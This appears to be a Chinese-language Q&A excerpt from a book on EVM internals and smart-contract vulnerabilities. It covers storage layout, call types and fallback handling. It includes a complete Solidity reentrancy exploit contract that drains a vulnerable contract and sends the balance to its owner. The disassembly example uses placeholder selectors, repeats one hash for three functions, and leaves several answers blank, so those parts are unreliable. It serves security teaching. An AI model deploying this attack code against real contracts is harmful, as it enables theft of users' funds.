以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容
电子版PDF下载:https://download.csdn.net/download/softgmx/10800947
1.EVM有寄存器吗?
答:没有
2.智能合约地址有私钥吗?
答:没有
3.合约调用是怎样传参的?以及返回值又怎样传递的?
答:
值参传递:
返回值传递:
4.合约最大嵌套调用层数限制是多少?
答:目前定义1024层
5.合约的fallback机制是怎样实现的?
答:
contract ReentranceExploit {
bool public attackModeIsOn=false;
address public vulnerable_contract;
address public owner;
uint balance;
function ReentranceExploit() public{
owner = msg.sender;
}
function deposit(address _vulnerable_contract) public payable{
balance=this.balance;
vulnerable_contract = _vulnerable_contract ;
// call addToBalance with msg.value ethers
require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));
}
function launch_attack() public{
balance=this.balance;
attackModeIsOn = true;
// call withdrawBalance
// withdrawBalance calls the fallback of ReentranceExploit
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
//require(vulnerable_contract.call(bytes4(sha3("withdrawBalance_fixed_2()"))));
}
function () public payable{
balance=this.balance;
// atackModeIsOn is used to execute the attack only once
// otherwise there is a loop between withdrawBalance and the fallback function
if (attackModeIsOn){
attackModeIsOn = false;
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
}
}
function get_money(){
suicide(owner);
}
}
没有源代码的main函数(反汇编出来的):
uint256 main()
{
If(calldatasize<4)
return Fallback();
Switch(byte4(sha3(funDef)))
{
//这都是我们合约里看到的public方法和public变量
Case “0x2321da32”:
return ReentranceExploit ();
Case “0x43243434”:
return deposit ();
Case “0x45435434”:
return launch_attack ();
Case “0xf342343d”:
return attackModeIsOn ();
Case “0xf342343d”:
return vulnerable_contract ();
Case “0xf342343d”:
return owner ();
Default:
return Fallback(); //这是我们合约里看到fallback方法
}
}
定义了fallback函数的main函数的实现:
没有定义fallback函数的main函数的实现:
6.合约的storage变量是怎样存储的?又是怎样索引的?
存储布局:
address(addr) = sha3(1)+0
address(addr[0]) = sha3(sha3(1))+0
address(addr[1]) = sha3(sha3(1))+1
address(addr[2]) = sha3(sha3(1))+2
address(funds) = sha3(1)+1
7.合约间调用的方式有几种?以及它们之间区别是什么?
答:
调用方式 |
Caller |
存储上下文 |
转账功能 |
安全问题 |
call |
合约B |
合约C |
可以转账 |
可能发生重入(转账方法call.value()) |
staticcall |
合约B |
合约C |
不能 |
因为不能改变合约状态,所以无影响 |
callcode |
合约B |
合约B |
继承了转给B的value(隐含意义,在合约C的代码中可以用call调用转账) |
可能被利用修改合约B的关键变量,如:owner |
delegatecall |
用户A |
合约B |
不能 |
可以被利用绕过合约权限认证 |
8.Stack,memory,storage最小对齐字节是什么?
答:
stack: 32字节对齐;
memory:1字节对齐;
storage: 32字节对齐(但可以把两个变量拼接成一个小于32字节的变量)